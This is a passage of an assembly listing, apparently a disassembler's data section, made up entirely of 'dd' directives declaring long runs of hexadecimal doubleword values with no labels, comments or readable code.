27A62888h dd 0EB10BF5Ch, 36EBDBEh dd 24D87FF3h, 16CB02ACh, 8CDDD590h, 206EDB17h, 5F8BE631h dd 0EF38E485h, 0B7DE0F80h, 18B30512h, 0F6778F87h, 5252F707h dd 8186F3CEh, 967F0228h, 178ECA63h, 0D8DF65ADh, 0BF958ACFh dd 0B8E476B3h, 5E0D3E03h, 0B8188985h, 0EAACBD2Bh, 4BDAADBAh dd 0B709D7F2h, 49B7C9E2h, 0FC6B01E6h, 0EADBC475h, 77BB264Fh dd 1E801D0Bh, 4016D21Bh, 0D54AECBAh, 0AC375142h, 5FCF6CCDh dd 0BA136134h, 37A3DFD7h, 899A9999h, 0B8EFB3C9h, 81200609h dd 96301629h, 0DB0E1AEFh, 7254D070h, 27A6D4F7h, 97149D8h dd 26315B3Fh, 9217519Ch, 4F96B6A5h, 701D4804h, 3EF37B7h dd 0C9FF7599h, 88ADC93Dh, 0F2487372h, 1928B516h, 50EE33DEh dd 36AF693Dh, 4E4E4C6h, 0FE1C0BEDh, 8460A031h, 0E9C5A7ACh dd 0F15C0284h, 0B68E4007h, 0BC575B3Bh, 0DAC48EFCh, 7CCFDC9Ch dd 78B7BE15h, 0CCC490CDh, 0DC134B70h, 3CEAA566h, 0B7AB6916h dd 0E8A56597h, 64B39553h, 421B907Eh, 1ACDF09Ch, 0A0E32CDDh dd 20174372h, 0E9D6487Eh, 939E1E11h, 4641C4DEh, 0DAE529FFh dd 0FEAA2C11h, 6A360056h, 0C175B55Ch, 0F8C243E6h, 28164301h dd 0D109CE23h, 0D63E7D19h, 0F19BFE0Eh, 0E5984F75h, 0D97781A9h dd 0BB9B1B16h, 0E1B72A9Dh, 0A85B598Ah, 0FBF5905Dh, 7E4775E5h dd 55F21B9Eh, 47E20261h, 0A1489558h, 0D1C8612Dh, 831AFB0Fh dd 9745CA8Dh, 34CAFB2Dh, 0BE43ACAh, 425DFF11h, 51620EEh dd 0C4D42608h, 6E0DD4A7h, 6EE97DAEh, 35649D2Fh, 0F4EBC28Eh dd 3158FC53h, 8A1288FBh, 6AE3EDB1h, 46463412h, 3DD09876h dd 3D37A80Eh, 1FFEE584h, 0A34B976Ch, 65DEA92Eh, 5E361469h dd 9344AA60h, 8C0D3FCBh, 60B5C18Ch, 0EBD7F0D1h, 0C6FB5B84h dd 7812CA9Fh, 45D14289h, 240EF7B6h, 0A98D8B3Ah, 5FB9066Ah dd 0E172893h, 9E8252D7h, 3740FB87h, 16BD2011h, 8869858Dh dd 0E27E3D4Ch, 6A358FB5h, 5406F56Fh, 9F96016Dh, 10E4064h dd 9EFC38A6h, 164E74C8h, 0A5F5D18Dh, 8DEECC41h, 83A7B717h dd 1FEFA09Ah, 0C573B146h, 0B66CFAA1h, 0D52902ECh, 3C9F25D9h dd 0B3A6670Ch, 2E501C3h, 0E2493FA9h, 0B1AC8101h, 7344B184h dd 0D3756B47h, 5EC00455h, 5B03D638h, 0ABD96838h, 0E3E88EC1h dd 0E5A7362Bh, 0A4936294h, 5B489584h, 17AD2BAh, 66B16F6Ch dd 2F02838Bh, 4EBD3915h, 0ED9F7359h, 7E0E5AEDh, 1F87EB20h dd 0CC7FA04h, 9BEA3E04h, 4F2FF9F6h, 36957CAEh, 374BB1Ch dd 58F1BA75h, 0BEC85FEBh, 0AB8F1DE6h, 0ACC8F490h, 569D24h dd 0E8FC0F35h, 0FE336AACh, 1C56AF9Bh, 7340F876h, 67A81E43h dd 16B03CA5h, 97766D1Ch, 7722C7EDh, 0B65413B1h, 0ED8ACB5Fh dd 1C371263h, 2700AE90h, 5447983Fh, 91B28F9Eh, 79E1677Bh dd 0B2B2044Eh, 0CCCA0703h, 9A3E7AA3h, 0B8B1815h, 0BBEAECB3h dd 0FA28F741h, 138A5224h, 0FB8FD417h, 12505EBAh, 862258E3h dd 0EE7CED75h, 0E8D0932Eh, 3F414AEEh, 0DF3ECF0Bh, 0A861FB47h dd 68614983h, 0AABBFF26h, 2F8D31F2h, 0C24F4CF7h, 943BBDFCh dd 5FEB0F8Eh, 67CE1241h, 0EA8F0ECEh, 0EE94D43h, 452779A0h dd 0D4462BCEh, 7215081Ah, 90E9A778h, 8EEB1852h, 32D925B0h dd 0C7F329E9h, 0E1AD96Fh, 9C383211h, 0C424A897h, 727D0728h dd 495A1EE3h, 942135ABh, 249BED61h, 956CC06h, 0A5F8B549h dd 0EE53E77Bh, 723ACD74h, 417640B1h, 39CB985Ch, 0D04B2EF6h dd 6F819F8Eh, 240F356h, 0B2D9820Dh, 5B28F2FFh, 4901C5DAh dd 0ED05683Ch, 0F1784815h, 8B373C30h, 331FEA4Dh, 0D795A906h dd 0C4B6A07Dh, 6631DF4Ch, 0EBAC8366h, 16C4D46Fh, 659D1E1h dd 0CBD7A2A5h, 57E126CCh, 33E42498h, 82798397h, 5B8229CCh dd 8EB0ED17h, 6647FB33h, 62FD7FDBh, 64E51C11h, 0AC1F6BD2h dd 0C56C7741h, 0F0C1F93Bh, 11074743h, 87C1DB4Eh, 0FAC05A18h dd 72558797h, 8EFC8526h, 0DDDED062h, 91243805h, 3802B7A0h dd 92C95E39h, 0C01F1E54h, 42D6AACCh, 311DE46Bh, 0D9672037h dd 0D02CF37Fh, 3CD96EF0h, 815B4B78h, 0E5655335h, 9AD20FB1h dd 0DDA9C866h, 0D4AA87BCh, 0D52B1744h, 7F41D628h, 8509D25Eh dd 0FF3D2A7Ch, 9D1B77FCh, 0D7707CE8h, 0DAB9CAA4h, 0C7D8FC39h dd 831201FBh, 28896E4Fh, 3EEA4E14h, 4AAF6417h, 3B5644EBh dd 0A6D1014Eh, 0CCF12162h, 7EAF0A16h, 0F04E85D9h, 68D56308h dd 0A2BB91B6h, 5442E61Ch, 737E3472h, 3C66025Ah, 8A4E7804h dd 0DF1B51BCh, 0E82AEBDBh, 51739D87h, 0D29B5B25h, 0ECBFC24Bh dd 35436961h, 375E8A2Eh, 0D946FEAEh, 30ACDA7h, 7433D651h dd 2E4CD6A7h, 30EA83Dh, 6ABCB492h, 2527AC65h, 499C399Dh dd 796E0C1h, 7FABA0F3h, 2B09360Ch, 6DD31077h, 8413A6C3h dd 0F96688ADh, 83866F2Ah, 0F47FA396h, 6FAC2249h, 43879514h dd 312086EEh, 0E57F9F6Ch, 41E24E3h, 6D8046E6h, 34F5358Ah dd 1623586Bh, 0E97D49E7h, 0EBE76A9Bh, 82506711h, 5481B07Bh dd 0CF52321Fh, 0BBA2B888h, 0A5DA6D24h, 0E118EF94h, 0E850C854h dd 4D90306Dh, 9220A9B1h, 0BEF5D687h, 48D31A37h, 3828CA44h dd 74ACA75Dh, 2EF423C0h, 2F5349AFh, 410219EBh, 0ABB9B0EEh dd 693C04EEh, 321556DCh, 165BBD0Eh, 2542C92Eh, 0F0CC6075h dd 0F5A49BE1h, 3AEC23A6h, 4CBBB051h, 2E3C415Ch, 340368ABh dd 0A5940512h, 3C87762Bh, 4921DCA0h, 2102A2F8h, 8251C611h dd 150DC08Eh, 1AF69711h, 1C0548CDh, 0E045E33Bh, 0BE404164h dd 74BC0778h, 5EE0D397h, 0F22D20D9h, 5B8B6F5Dh, 0B433B070h dd 0D8509AB1h, 0AF2033E7h, 737367C2h, 0ED63A77h, 643EB9ADh dd 0DE47D702h, 1377D9Bh, 1FEF3E3h, 4A4B9339h, 68DF39FBh dd 0BCFBC465h, 64F3FDD1h, 711491D1h, 0AED5FA7Dh, 0D8619544h dd 0C444F7CAh, 65ACCC99h, 0C9C2F12Bh, 0BF71ABA3h, 41DE0B65h dd 3F3F6959h, 0CBDDB210h, 0DB052806h, 54B22292h, 39ABFCE4h dd 0C40CA5F2h, 0DEA13193h, 96196DB7h, 1095C65Bh, 5507EF1Dh dd 74E831E0h, 7673A65Bh, 0F047D5CCh, 957B897Ch, 666CB229h dd 55A182C9h, 0E66AB4ACh, 86A1E7Ch, 0B8DE8D23h, 5BF48BA0h dd 0E6A68F86h, 0F642655Dh, 6A438A49h, 88D5DCh, 32B9360Fh dd 1DCBB759h, 8A478602h, 94F1C572h, 0D5791055h, 0D3619D0Dh dd 6B316069h, 258564B3h, 3C5CC4B2h, 19203EA2h, 4921CEB9h dd 0CB8F670Ch, 3EC1ABE9h, 4E39C433h, 0F8E33CFh, 0CF2DB873h dd 0ACDB14E3h, 0F498D8F9h, 59EB0085h, 8A7602BBh, 32341860h dd 810991AEh, 8C354044h, 12331119h, 6DB568A8h, 39EE3EB8h dd 3618B92Dh, 7A6928BCh, 0ADE2B7Dh, 0DBD6E88h, 0BD7EF06h dd 81A991B9h, 3EB8C9F0h, 360A5225h, 0B55DF410h, 73A9A115h dd 1A2E6E8Fh, 0C7D3679Eh, 7437FB1Eh, 9A851441h, 44F96F41h dd 0EFCEC530h, 0ABF76640h, 0D11824D8h, 6C4C75FBh, 899CC8EDh dd 1546BD90h, 9D1ADCD6h, 21948527h, 0B047C10Fh, 2D70489h dd 931A0CD1h, 0A85144B2h, 1A63C6F6h, 0ACE722A5h, 637503D0h dd 0E7F26994h, 7A60215Ch, 0BA7AE2D0h, 87FC339Dh, 87FAFF7Ah dd 943B70F5h, 4A63DA90h, 0B99B81F9h, 0E20351F6h, 9568B363h dd 0FAC3796Dh, 7DF9CD9Ah, 0ED5D12BBh, 271F532Fh, 63DBA4BDh dd 0A79E4EA9h, 2786A1C0h, 1B0A991Bh, 458679C6h, 7DE86E11h dd 3DDE7AC9h, 4586E8ADh, 0D4A3EDB0h, 0D5372B7Ah, 0BC2E33DDh dd 0D2A15231h, 721E3F5Ah, 67C102C0h, 0E16323h, 66BC895Bh dd 0E8ECA0F5h, 622D4CFCh dd 0B488B246h, 0ABE5D588h, 673044C1h, 2505FCBBh, 0FA668CF2h dd 15488F0Fh, 7D9856F7h, 4ED899D1h, 60EECDBh, 146D473h dd 0ACE28A4h, 0F3FB8B74h, 9DB431E1h, 8B9CF0B9h, 0A4CDEA94h dd 0E0EABF3Dh, 0C3C03FF2h, 71EF043Dh, 0BCEB8DAFh, 6547481Bh dd 73F0CF45h, 5806116Bh, 59615534h, 0B9A56A68h, 0ACC599E2h dd 99165CF2h, 0A2BD956Bh, 6F5CAA71h, 0DF2ACD07h, 0CCF37DA2h dd 0BCDAF0FDh, 0FBA41444h, 103D4FD8h, 4487ACBCh, 0E7624565h dd 3E27E3FBh, 0F8FE4F48h, 994BB6D3h, 86AABB69h, 98FA6570h dd 9557C8E7h, 0A56F1522h, 0E0DBD732h, 0D4189F9Dh, 0DE28665Ah dd 436F924Eh, 0FF1EED33h, 4DF7EC36h, 0AD7EF4B1h, 947F97E7h dd 0E807848Fh, 7C969A30h, 0E5C8D016h, 3CC6C046h, 0D64D8258h dd 0E61F44FFh, 4001513Dh, 0EDF3021Eh, 585C95Bh, 2678B55Ch dd 1D230E4h, 34249CB6h, 73D9C253h, 9DC68867h, 0FF1F3ECBh dd 9B0F487Eh, 0BF850CFAh, 0D81C8E8Bh, 10E7E3FAh, 69ECD3ECh dd 0B12CE957h, 0A91AE1E1h, 4407A693h, 8E519459h, 0AEE50FB9h dd 6723E5DEh, 4872400Ah, 0ABA7B912h, 0AAC50139h, 0B34C4318h dd 0CF914C4Ch, 8BC50427h, 3A69709Fh, 56313AFCh, 0D5DC1CADh dd 8B9EB29Fh, 0A178D22h, 3D4E36A9h, 0C78CFABEh, 0B728AF32h dd 0CA91F18Dh, 0BAFEBC17h, 0C35DC801h, 5E72FC54h, 0A8EA7C3Ah dd 0BB7161CCh, 0CE4D89EAh, 76777E6Bh, 56F0CEA2h, 86533A59h dd 22896B62h, 0B40742FEh, 4E62C73Bh, 0BC722341h, 0A0E9F6CFh dd 83274325h, 0F4635081h, 5D3581DAh, 20579966h, 4DAFC16Fh dd 0A05B8E07h, 27BD4BBDh, 84CFA23Ah, 0C7BA0B0Bh, 0BC9254B3h dd 5CD24992h, 31D14AA6h, 0A72521C9h, 0C448F025h, 0DD54B2C5h dd 270D25A3h, 0AACF5390h, 24D5E317h, 0D98A5368h, 0BE6FFD80h dd 0B3F8E6A0h, 0ED6400EFh, 0C88FDB3Ch, 523E486Ch, 0D775781Bh dd 3820B7F4h, 0FC32DDC4h, 917A2DEEh, 0B757764Dh, 7B071E75h dd 0DB515EA0h, 8C54D465h, 51369409h, 2DB0B338h, 0F264917Ch dd 0B41DAEDh, 0CAF621Dh, 83E63279h, 0BD1E9D9Bh, 1AC9ECB2h dd 8E3C9164h, 0B5DF0A71h, 0DD76CA7Ch, 0CE34DC2h, 0B35445FCh dd 19198F78h, 26E157B1h, 683B8111h, 0E7020C79h, 2C1D80FEh dd 0DC6AAA22h, 0F15A4E3Eh, 85925F5h, 0E54259F2h, 7DF14222h dd 0BA587E72h, 6BD9300h, 83BB5908h, 132CA6A6h, 1CF226F7h dd 6884C877h, 0E75053BCh, 517EC0E1h, 0A90844DBh, 0B1CEF1C3h dd 83E419FEh, 0DC185165h, 2DDE91DEh, 0CEDECCABh, 3A3CC1B3h dd 46B4B37Ch, 3A28C673h, 0AE8ED86Eh, 0F4C06002h, 53389C0Bh dd 1B9DD0C4h, 0AA5018C8h, 0C6F60B03h, 4F33D016h, 766EE3F8h dd 0E01D0F9Fh, 62E8979Eh, 0D59A73AEh, 0F6395D61h, 0F26DA17Eh dd 590CBD49h, 285B6530h, 363E2453h, 36CE06C4h, 3D6B78F7h dd 0B26793CDh, 0F552A71Bh, 4355E70Fh, 0F3470089h, 3E5812Dh dd 55A40D95h, 819D1A26h, 7A724324h, 84EAA540h, 0CF226EFAh dd 1F2D6EEBh, 28881EFCh, 1D75884Ah, 0F897BF78h, 5BE634B4h dd 0AF11415Eh, 0FE5E3E2Bh, 0A4DFB33Ch, 444C165Fh, 83A96D6Eh dd 90C74324h, 9DE55934h, 5AE3265Ch, 2480E076h, 649E5678h dd 138DDE7Bh, 511B43D1h, 0FAC086CEh, 0A3D2064Ah, 2633D1FFh dd 572783F3h, 37DF82B8h, 0D13F7692h, 0AEAB5155h, 510791D7h dd 2E9225B8h, 8B00B1BFh, 0DED15586h, 905EBF71h, 6779EF2Dh dd 0CB2930F8h, 0BCAD7E09h, 85195CAFh, 7E9057B7h, 67185A99h dd 536B0F68h, 5555FBD8h, 7AB36E8Fh, 897C7F36h, 73F73F67h dd 0A9567702h, 1B7F5C16h, 34005FE4h, 6A7DC461h, 74EE86DAh dd 840ED3B5h, 5933F137h, 715D6661h, 70673E67h, 0E33BD531h dd 0B8CB5E4Fh, 5EE51A9Dh, 926E1B84h, 3813CF9Bh, 0C4FBFA6Fh dd 0DD46399h, 93A13075h, 0FC98ADBFh, 0BCD20F18h, 2E0B7A31h dd 50361EB8h, 0F62419D4h, 0D87442F9h, 0B8962671h, 0CAAE8688h dd 8E3DC012h, 0AE76EDE4h, 40E02E0h, 598C526Dh, 53DCD034h dd 0CD34219Ch, 0FF590B9Fh, 92262174h, 0D2B973E6h, 86CE2D60h dd 0F1F83720h, 0C20F3BA4h, 3B8B1649h, 853AEE7Bh, 60FE6E26h dd 0F99707E3h, 7EEA7A9Ch, 0EB670F48h, 5986593Eh, 23F052DAh dd 208217D5h, 0B398829Ch, 20B46449h, 0A9A0515Dh, 0BA53EB21h dd 5927785Ch, 2FDDD2E2h, 0C674135Eh, 7693E728h, 0FC0B27D2h dd 4D67F9E3h, 0B5FC9001h, 0C82BA044h, 0C807C479h, 0D4CEED4Bh dd 0D4C2035Bh, 0AE13DE9Dh, 0BC6B58A4h, 90DB32E4h, 5D494A6Ah dd 5BDFED23h, 836ABDA8h, 666D118Bh, 3DFDAB34h, 1922CF23h dd 5D3E2BE5h, 501E78A3h, 85403057h, 0E2FE6AE5h, 38AF0334h dd 8944D3DBh, 3A667582h, 0D04138FBh, 0C1B612Eh, 79B0509Fh dd 847C65Dh, 6470E0Eh, 988166B1h, 416CC845h, 0A4663A79h dd 0B0B1E9A3h, 79125AB8h, 0CC1DA59h, 6BDBB98Eh, 0A8A84086h dd 0B10FDD5h, 5285DF75h, 6B78F9Fh, 1F4A0299h, 0B95DDA9Bh dd 0DF02A04Dh, 2F0D97C9h, 6DF261A4h, 89D28171h, 0E87B4A1Eh dd 85346133h, 0E92536E4h, 0F77FEBB4h, 54972B5Ah, 0F636720Dh dd 0C09810C3h, 5D8FFB71h, 8F39EB59h, 0D858BB1Dh, 0E33F755Ah dd 5A4984FDh, 4EAFFBDFh, 0CE28BBADh, 0CDA8F2D7h, 3BE184B6h dd 0D671A0D7h, 4DE548C4h, 0E431DE20h, 5ECCE30Ch, 0DCCBF01Ah dd 0ED3ED1A8h, 4A414E76h, 3A4C05AFh, 0F6DEFCA7h, 5DBE338Bh dd 0CA989037h, 35FE04B4h, 368AAD79h, 79519D1Ch, 205396E8h dd 0BF7D7E2Eh, 58F39F84h, 3B52267Eh, 680DB9F5h, 0C29202B4h dd 0FD45A70Ch, 67FBB429h, 97F67564h, 1AF6A32Ah, 0ECB1C189h dd 9A474026h, 452DCAEFh, 16CCB962h, 56D73714h, 0CE6471E4h dd 8363BB2Bh, 0DBC424Ch, 745620A6h, 82121FF6h, 388AA17Dh dd 6407A2E5h, 0DA7B90E6h, 0D0F01711h, 6D8EB6C4h, 0C655194Ch dd 929A9879h, 0C1F67245h, 0C3E8C470h, 2A7A2D8h, 0D9B2BB90h dd 57D9C5DBh, 0A6F4C3FFh, 0E0D622E6h, 27F5680Eh, 0AC28F7DBh dd 19311B8Fh, 7581D498h, 207C2C61h, 0CBAE8BD3h, 5D729372h dd 92150F75h, 7CCE7D62h, 15404E0Ah, 44347AFh, 0DC490989h dd 58E55CD0h, 236B952Eh, 0D661BDF1h, 0F8D158B1h, 85004498h dd 0B26C2F09h, 7D7E4513h, 5FAB2DF1h, 0F9C22DD3h, 0C2385F64h dd 0C54D35B1h, 5DD09B43h, 6F1B6C20h, 0AD77269Eh, 3DD31928h dd 0BDBB4E3Ah, 94F01925h, 0D6CA176Bh, 198BA2D0h, 34FEE9E8h dd 6DF1C36Bh, 0F57341B1h, 351BA5ECh, 0B6916BF4h, 0C4A8FCD7h dd 2FECDE0Bh, 0A4D36AC0h, 0CA28EBBAh, 0C9FDC329h, 0B78B28BDh dd 1FCDF886h, 8E68A8DBh, 8D8438A2h, 77FA1983h, 95231021h dd 7BE24FD4h, 77F95C0Ah, 5936BA72h, 26E0E282h, 5C5B28BCh dd 7DE9948Dh, 951F60F5h, 0D51CF256h, 5C37951h, 1E8F2DBCh dd 0A7F78B05h, 0D19220AEh, 19C3F2F3h, 140B9A09h, 11EAC11Ah dd 42F140ABh, 0CBC927B2h, 0BD9705EDh, 0B76546C4h, 46295EEBh dd 0C31690F6h, 81AE56DBh, 0BA1CEC53h, 9AFA5C44h, 0B4661FA8h dd 56EE84C2h, 0AB6F79AEh, 0E337FD5Dh, 9DC45921h, 0EA2CAF31h dd 6E964282h, 99D81254h, 0E0FD29FBh, 23B43526h, 0E436A6E3h dd 7BC1E9C9h, 3EAC500h, 0F58378C6h, 0D5631B1Eh, 0E3FC629Ah dd 3FA6CD2Ch, 3FE411B8h, 0CE71EC3Eh, 0ECE58719h, 642AF592h dd 160D75C5h, 0D18B957Ch, 652FC631h, 420AE21h, 0B452409Eh dd 4271DAE0h, 4FB62F6Fh, 699B9600h, 31551202h, 7B4864A1h dd 165A27A0h, 0AC6C0292h dd 0CFF4D4F1h, 85862760h, 7603A1C5h, 502FAB7Eh, 0E95BFA6Ch dd 8490A5DCh, 0EFB79776h, 0A936133Bh, 0DE4AE47Ch, 0CE1CF067h dd 28690A1Eh, 0C3BA5B42h, 0B130BDACh, 2975AFE8h, 0A38DBBFBh dd 7FD9E4EAh, 0FDC0D7F5h, 0D8FBF163h, 30BA1FDFh, 1291B767h dd 0CB0050E2h, 8160CFF8h, 0B021BBC4h, 9C0D002Ah, 0DCD1A7D4h dd 0DDB5FEFCh, 0F1E231D8h, 0A7450D62h, 0D5618D02h, 1C4B5BA6h dd 0D3B4C531h, 10CF59F9h, 0ED1F2DF7h, 5F8E80D8h, 857CB5EEh dd 2552829Ch, 38382FCBh, 9F83FE67h, 4E2625D3h, 6EEA45B1h dd 1370AF6Ah, 6A474403h, 0DF87D3F8h, 0B4DDB71Fh, 0AA0DE557h dd 0AF7FCDCCh, 67E02B48h, 0A837EC8h, 5BBAFE8h, 74A33656h dd 0C4EFEFFBh, 11C3E351h, 9E747E1h, 65CC6F7Eh, 2F967D7Ch dd 0CE9E5A64h, 79AE57F0h, 6E540F40h, 64BA7FD2h, 0D5F81799h dd 0C4D66251h, 91B994FCh, 5B296C9Dh, 6041182Dh, 2C18671h dd 747919BDh, 6FBB6AC1h, 0DBD9BE3Bh, 83BFB659h, 8C826628h dd 0A4D8906Bh, 0CA078766h, 0E9A575DAh, 0A8081A91h, 911545DFh dd 1CEB9562h, 0E54A5D04h, 0FF88804Bh, 0EC9D6FAh, 81048A13h dd 0B49EEE01h, 0D8E694FFh, 7BED3F80h, 0CCC0D3A1h, 6EE12C28h dd 362FF0F6h, 2981CD92h, 2DA7B09Ch, 86293763h, 40022A3Bh dd 96AA51C9h, 0F814DAB6h, 0C4D63FBFh, 564D088Ch, 0AB91AD35h dd 5B21CC77h, 0D128FB99h, 34685270h, 0BEC71B6Ah, 0ADAFE046h dd 686981CCh, 200D40A7h, 0E72BA2BCh, 72BC2789h, 90B55E39h dd 0E51718C9h, 81CF16F6h, 2BEC7CA0h, 0F46F7946h, 7D70812Ah dd 76596221h, 91F3B574h, 8CE5595Fh, 9B2FB1A2h, 875428F1h dd 0A1D4730Dh, 943A1F0Dh, 0A7DA12EBh, 70DB95BAh, 6104DC5Ah dd 2A4A1AFBh, 2C1B716Ah, 22ED6907h, 0AC3EC139h, 0BBFB38C4h dd 0A936979Dh, 0EE9B7370h, 2C3232DDh, 0B918DF3Eh, 226E3705h dd 0C837836h, 0F65E534Bh, 53708F36h, 0F0BEAA69h, 0D8DE62CDh dd 11C0F456h, 0A1EA074h, 91E909E8h, 0EC9B6800h, 0FCCD5336h dd 25AC24B6h, 0B142F53Bh, 9590CA09h, 3CD3D855h, 2BC0CDD7h dd 0EEEE296Ch, 70498FA6h, 91809B35h, 0B904BE88h, 0F8465AD1h dd 5FE8897Ah, 59A67BA2h, 39082925h, 0F9F2CFC4h, 0BAE5AA6Ah dd 696ECBA1h, 3B3D206Bh, 7C26F323h, 0FC994ED4h, 9A3AEAD1h dd 0A22D987Bh, 61A2EE5Ch, 0CAEBFC8Ch, 17BD440Eh, 0BD3D7062h dd 0A573AC54h, 93EE6DA0h, 9DB90B91h, 0A7A0C37Ah, 50431793h dd 0B0AA187Fh, 3C2ECEF6h, 8F6C1398h, 4A148DBFh, 6BD0E3BDh dd 3F14E7Eh, 5B0D2EE0h, 0DC3F01Ah, 0D021AF28h, 9D861C54h dd 0B9539B65h, 1C15AB83h, 699EA651h, 7695C7B0h, 0D7BE6B5Bh dd 0A0154385h, 1D5418F3h, 0AC70AE4Ch, 0D82E79FFh, 60AA35E4h dd 7CC91A47h, 0F4E7E1F2h, 25E5492Fh, 0AF2414AFh, 0AB1D4812h dd 95CA3E58h, 834713E6h, 1DB662E9h, 6C93BA19h, 0F8089C03h dd 0DE30887Ah, 1F4EBAEBh, 32DF5F1Eh, 789361BBh, 614B794Dh dd 0F29E1E0Fh, 0F9871272h, 0B47C92F9h, 9E30F85h, 943820A7h dd 341275Bh, 71CA411Eh, 82FA8B08h, 56B10FA0h, 8BA7D44Dh dd 4311EB5Dh, 4174C185h, 2F3FE0B4h, 0C830797Bh, 24535909h dd 0FB12A49Ch, 51989C66h, 3CECEE56h, 12E42F25h, 8A93043Fh dd 3B9B92D0h, 9CB71ED6h, 0F827F8E6h, 8F0F6A43h, 28656967h dd 76E3E39Eh, 0CD6345DDh, 3F6A3B7Bh, 98D40F3h, 0A8EA7F91h dd 2B0DD96Ah, 89C4691Fh, 7B684812h, 0DF215209h, 8367E4C8h dd 91F1AA8Bh, 9621ED8Ch, 8DC6FEDCh, 0FB8B1672h, 0FB72F9F9h dd 0DF54967Eh, 5D071006h, 876FE586h, 0B0AED201h, 66912922h dd 0FFD292B4h, 621BC090h, 369AE045h, 87BD218Dh, 93D433D7h dd 61AFCBBCh, 57CED4C3h, 7B68BE61h, 9378220Ah, 1221A6F0h dd 58D6B900h, 0C70C0BF3h, 0BEBBF82h, 0A001FD7Fh, 7652B60Bh dd 0A3356608h, 27F286EDh, 99F2A3F5h, 0F6A8B6DAh, 92CD19E8h dd 0EAB68A1Ah, 0B705E00Bh, 438E40A8h, 0A48C148Dh, 0A85AEA0Dh dd 4323F906h, 3643C05Ah, 0FB946F1h, 0EBDAB609h, 995C6B51h dd 0CDFDA626h, 252331BAh, 0A60E7D3h, 8FF3F0DCh, 0A3EC4A92h dd 0A6513586h, 508399DFh, 875DD554h, 0F9BE88DFh, 0E2585D2Ah dd 0D53ADDB5h, 0DD3EEFB7h, 668EC5EEh, 9A4C5CA4h, 0D72F7D16h dd 0E3893C35h, 0D1D1235Dh, 53E666CAh, 8F3EC0E5h, 0C38A59BFh dd 72C509F3h, 98681759h, 419D4DFBh, 8635C3C0h, 0DC45504Bh dd 6EF3A3EAh, 843700A5h, 2C7D882Dh, 0B32AAC23h, 3701CB26h dd 0E443E2A6h, 77E3574Ah, 0F8E76483h, 85AA2B98h, 4F0D6EE7h dd 0F275D4ACh, 6997DFF6h, 200D19CFh, 0A8FDD729h, 6DF29011h dd 70F06077h, 12D385EBh, 68084768h, 0D84D5DC0h, 73ED4C91h dd 45AB39F3h, 37F6BAAFh, 84B0E6Dh, 9AB64A42h, 56CD2D09h dd 4713FFE6h, 73023ABDh, 3881F6A6h, 409F9E32h, 14DF6343h dd 0B9902D0Eh, 8340456Eh, 0AB77FB53h, 57742304h, 98EB7037h dd 0AF68127Ch, 6394714Bh, 0F7AB4EBBh, 793F7FBEh, 25DF2174h dd 4720F436h, 7ECB25B0h, 26E49219h, 656411F1h, 3C36D48Ah dd 3D0D80ECh, 0A8EFD842h, 119B4BC4h, 8CD1E817h, 0E492C287h dd 0F77A63EEh, 77B67479h, 0CC5B20Fh, 1BB1F473h, 0ACA50A14h dd 7D7926BCh, 3E12A4D6h, 0C9157791h, 0AD22644Dh, 0D6758F08h dd 9E0CE930h, 0AB254C39h, 0C7979D0Ch, 6A989D7Ah, 0EB6C483Eh dd 4964F0DDh, 0C8532469h, 33667BAh, 0D3490AA5h, 0C788E69Fh dd 0CF79910Ah, 54135ED5h, 0E8B560A2h, 1E4CC5CBh, 696F423Dh dd 3897D989h, 7B40D30Dh, 0E1DA2CD4h, 176B527Fh, 0D0D975CCh dd 4F8E5B78h, 0B2150D23h, 8C508F0h, 1678E6C5h, 8A3DDC90h dd 0E0D7D98Fh, 0BAD84123h, 0A80ED407h, 4F73CC7Ch, 89B7A798h dd 515EDE90h, 0D48DEE55h, 86F2ABBh, 897128F7h, 5E107C4Bh dd 0D9BD7873h, 3F3E314Dh, 6648B802h, 6AFE1323h, 19A2E10Eh dd 0A239F589h, 33928C4Dh, 3A1D78D4h, 9CA6101Ch, 0E0502D8Fh dd 48956CD0h, 34F6DCEEh, 0A8493E7Fh, 2E1844AEh, 0BF5FFF71h dd 0F37F75D6h, 4E60E183h, 0D46DBD1h, 5167AE11h, 1AFE6093h dd 0A3728CD4h, 314172FAh, 0EF15C3DFh, 888F88A0h, 0F1E5A63Ch dd 0AA37CCB0h, 34A92060h, 0AA04F96Dh, 0E870050Ah, 0D8DE43BFh dd 0D36A3CE2h, 73F54607h, 0AAD40018h, 58E1BC2Fh, 41F83A94h dd 431EB91Ch, 2025BFB5h, 0EFED2F76h, 0C9B1EE83h, 2396F2D0h dd 2577F576h, 0A2606944h, 0DA72AC31h, 96B129E8h, 242BF46h dd 5203C30Bh, 8D42DE51h, 33A224F1h, 59CF6335h, 0D96DACB8h dd 4812D241h, 0EB686176h, 19AD660Fh, 0B90CA53Ah, 5E5E3A9Ah dd 5F38EA3h, 115D842Fh, 0BD9B7A6Ah, 0F2877659h, 18D4345Bh dd 111C6C23h, 0EA18801Ch, 0D6E4A138h, 0BFA12EE9h, 0EADE4D28h dd 39FC8BD3h, 2C51B556h, 9836D2F7h, 2BF8AF92h, 654B0E0h dd 9AB9A1CEh, 6DE74A9Ah, 41939CBBh, 86A9ECEFh, 36211CADh dd 6214019Ah, 5ABE405Ch, 6B2CB3FBh, 1CB0E2C4h, 57277E81h dd 8CA24B5Fh, 8F229F46h, 7BEFBD3Ah, 0AD0F2EDh, 0CD7AAE29h dd 2808BFC5h, 4628073Fh, 0AFB71273h, 0FBD2EFC3h, 7CB1D3C8h dd 0B691B774h, 0FE352B3Eh, 0F4F04E79h, 1DDD7160h, 4A02F98Eh dd 36C513Ch, 0BF16C647h, 0F0807E39h, 2D5B445h, 0A7B682B8h dd 0EC8F0BA7h, 1921611Dh, 3431DFDCh, 0BD89FC3Ch, 946AE57Dh dd 6145EE04h, 3987183h, 8FE0908Bh, 7BDCB353h, 511EF20h dd 174C1E36h, 7B216215h dd 2FF95BB7h, 0E80D040Fh, 3B7F5135h, 0DD360F45h, 3E30B67Ah dd 0A8605773h, 515B9141h, 2D098513h, 0CC4FCE4h, 6076C1AAh dd 1C112312h, 3C4DFA97h, 2767E815h, 99684A42h, 7FA2887Ch dd 1A213085h, 15DDBFD2h, 0E3D2593Dh, 8F39E04Ch, 0CFB7E9E9h dd 0E3EFD9F9h, 0B1F828C7h, 0FC19F67Ah, 0E535744Ah, 7DD13D7Dh dd 8401FE9Fh, 4668ECD1h, 9144078Fh, 0F42DE381h, 1B312B0Fh dd 98F96CE4h, 527CADEBh, 2F76D171h, 0B3E8E28Ch, 0BFE80123h dd 0CA8E1550h, 0C1EB22AEh, 6A620B7Ah, 0BC28C522h, 98CEA55Ah dd 0B381923Eh, 36A8C499h, 